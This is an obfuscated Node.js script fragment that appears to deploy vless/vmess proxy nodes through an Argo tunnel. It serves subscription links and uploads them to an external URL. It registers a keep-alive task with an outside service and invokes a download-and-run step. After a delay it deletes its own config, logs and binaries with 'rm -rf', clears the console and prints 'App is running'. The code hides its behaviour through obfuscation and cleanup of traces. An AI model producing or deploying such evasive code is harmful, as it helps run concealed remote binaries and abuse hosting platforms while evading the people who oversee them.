_0x40d89b=_0x274e,_0x5cdf37={'v':'2','ps':''+_0x32bcda,'add':CFIP,'port':CFPORT,'id':UUID,'aid':'0','scy':'none','net':'ws','type':_0x40d89b(_0x3deb13._0x1f0f26),'host':_0x55c9d9,'path':'/vmess-argo?ed=2560','tls':_0x40d89b(_0x3deb13._0x2133b2),'sni':_0x55c9d9,'alpn':'','fp':_0x40d89b(0x15f)},_0x316040='\x0avless://'+UUID+'@'+CFIP+':'+CFPORT+_0x40d89b(_0x3deb13._0x2452e1)+_0x55c9d9+_0x40d89b(_0x3deb13._0x5e93fa)+_0x55c9d9+_0x40d89b(_0x3deb13._0x58616c)+_0x32bcda+_0x40d89b(0x133)+Buffer[_0x40d89b(_0x3deb13._0x3b0e74)](JSON[_0x40d89b(0x124)](_0x5cdf37))[_0x40d89b(_0x3deb13._0x4ed740)](_0x40d89b(0x132))+_0x40d89b(_0x3deb13._0x29fc9e)+UUID+'@'+CFIP+':'+CFPORT+_0x40d89b(0xf2)+_0x55c9d9+_0x40d89b(0x16a)+_0x55c9d9+_0x40d89b(_0x3deb13._0x38434a)+_0x32bcda+_0x40d89b(0x17f);console[_0x40d89b(0x164)](Buffer[_0x40d89b(0x168)](_0x316040)['toString']('base64')),fs['writeFileSync'](subPath,Buffer[_0x40d89b(0x168)](_0x316040)[_0x40d89b(0x16f)](_0x40d89b(0x132))),console[_0x40d89b(0x164)](FILE_PATH+_0x40d89b(0xd8)),uploadNodes(),app[_0x40d89b(0xda)]('/'+SUB_PATH,(_0x4419cd,_0x9a3520)=>{const _0x3982c1=_0x40d89b,_0x45aee3=Buffer[_0x3982c1(0x168)](_0x316040)[_0x3982c1(_0xa06520._0x1459a8)](_0x3982c1(0x132));_0x9a3520['set'](_0x3982c1(_0xa06520._0x258a48),_0x3982c1(0x178)),_0x9a3520[_0x3982c1(0xf9)](_0x45aee3);}),_0x337bec(_0x316040);},0x7d0);});}}async function uploadNodes(){const _0x3712df={_0x2ad32a:0xdc,_0x305bf5:0x144,_0x520d2a:0xd6,_0x3a8fc5:0x115,_0x8c63ff:0x14d,_0x23659a:0x143,_0x2d9b37:0x124,_0x2b16c2:0xf7,_0x195f92:0x164},_0x3f4583=_0x30a507;if(UPLOAD_URL&&PROJECT_URL){const _0x1425da=PROJECT_URL+'/'+SUB_PATH,_0x2f6c31={'subscription':[_0x1425da]};try{const _0x5b8fae=await axios[_0x3f4583(0x14b)](UPLOAD_URL+_0x3f4583(_0x3712df._0x2ad32a),_0x2f6c31,{'headers':{'Content-Type':_0x3f4583(0xf7)}});return _0x5b8fae&&_0x5b8fae['status']===0xc8?(console[_0x3f4583(0x164)](_0x3f4583(_0x3712df._0x305bf5)),_0x5b8fae):null;}catch(_0x34cb7f){if(_0x34cb7f[_0x3f4583(_0x3712df._0x520d2a)]){if(_0x34cb7f[_0x3f4583(0xd6)][_0x3f4583(0x142)]===0x190){}}}}else{if(UPLOAD_URL){if(!fs[_0x3f4583(0xe2)](listPath))return;const _0x27d4ab=fs[_0x3f4583(_0x3712df._0x3a8fc5)](listPath,_0x3f4583(0x154)),_0x2bbeb2=_0x27d4ab[_0x3f4583(_0x3712df._0x8c63ff)]('\x0a')[_0x3f4583(_0x3712df._0x23659a)](_0x5047cb=>/(vless|vmess|trojan|hysteria2|tuic):\/\//['test'](_0x5047cb));if(_0x2bbeb2[_0x3f4583(0x11d)]===0x0)return;const _0x6d652=JSON[_0x3f4583(_0x3712df._0x2d9b37)]({'nodes':_0x2bbeb2});try{const _0x276776=await axios[_0x3f4583(0x14b)](UPLOAD_URL+_0x3f4583(0xdd),_0x6d652,{'headers':{'Content-Type':_0x3f4583(_0x3712df._0x2b16c2)}});return _0x276776&&_0x276776[_0x3f4583(0x142)]===0xc8?(console[_0x3f4583(_0x3712df._0x195f92)](_0x3f4583(0xd7)),_0x276776):null;}catch(_0x1240fb){return null;}}else return;}}function cleanFiles(){const _0x500de4={_0xe2c02e:0xdb,_0xf5b1b3:0x112,_0x4b6d34:0x117},_0x503621={_0x2d5d1a:0x164,_0x10f29e:0xf4};setTimeout(()=>{const _0x144b02=_0x274e,_0x51e4ac=[bootLogPath,configPath,webPath,botPath];if(NEZHA_PORT)_0x51e4ac[_0x144b02(_0x500de4._0xe2c02e)](npmPath);else NEZHA_SERVER&&NEZHA_KEY&&_0x51e4ac[_0x144b02(0xdb)](phpPath);process[_0x144b02(0x17c)]===_0x144b02(_0x500de4._0xf5b1b3)?exec(_0x144b02(_0x500de4._0x4b6d34)+_0x51e4ac['join']('\x20')+_0x144b02(0xeb),_0x30317c=>{const _0x229319=_0x144b02;console['clear'](),console['log']('App\x20is\x20running'),console[_0x229319(_0x503621._0x2d5d1a)](_0x229319(_0x503621._0x10f29e));}):exec('rm\x20-rf\x20'+_0x51e4ac[_0x144b02(0x165)]('\x20')+_0x144b02(0x123),_0x348db4=>{const _0x5c8099=_0x144b02;console[_0x5c8099(0x17d)](),console[_0x5c8099(0x164)](_0x5c8099(0xe4)),console[_0x5c8099(0x164)](_0x5c8099(0xf4));});},0x15f90);}cleanFiles();async function AddVisitTask(){const _0x2ab289={_0x521469:0x164,_0xa28d30:0x12b,_0x1c132f:0x14b,_0x2f260c:0x147,_0x35879b:0x173,_0x5dbc62:0x153},_0x16f59f=_0x30a507;if(!AUTO_ACCESS||!PROJECT_URL){console[_0x16f59f(_0x2ab289._0x521469)](_0x16f59f(_0x2ab289._0xa28d30));return;}try{const _0x3339dc=await axios[_0x16f59f(_0x2ab289._0x1c132f)](_0x16f59f(_0x2ab289._0x2f260c),{'url':PROJECT_URL},{'headers':{'Content-Type':'application/json'}});return console[_0x16f59f(0x164)]('automatic\x20access\x20task\x20added\x20successfully'),_0x3339dc;}catch(_0x16c145){return console[_0x16f59f(_0x2ab289._0x35879b)](_0x16f59f(_0x2ab289._0x5dbc62)+_0x16c145['message']),null;}}function _0x274e(_0x5a7378,_0x304f39){const _0x3eb9fe=_0x3eb9();return _0x274e=function(_0x274eea,_0x2d13e7){_0x274eea=_0x274eea-0xcf;let _0x3ef910=_0x3eb9fe[_0x274eea];return _0x3ef910;},_0x274e(_0x5a7378,_0x304f39);}async function startserver(){const _0x2a0ae4=_0x30a507;try{argoType(),deleteNodes(),cleanupOldFiles(),await generateConfig(),await downloadFilesAndRun(),await extractDomains(),await AddVisitTask();}catch(_0x5ca337){console[_0x2a0ae4(0x173)]('Error\x20in\x20startserver:',_0x5ca337);}}startserver()['catch'](_0x4a37fe=>{console['error']('Unhandled\x20error\x20in\x20startserver:',_0x4a37fe);}),app[_0x30a507(0xe3)](PORT,()=>console['log'](_0x30a507(0xde)+PORT+'!'));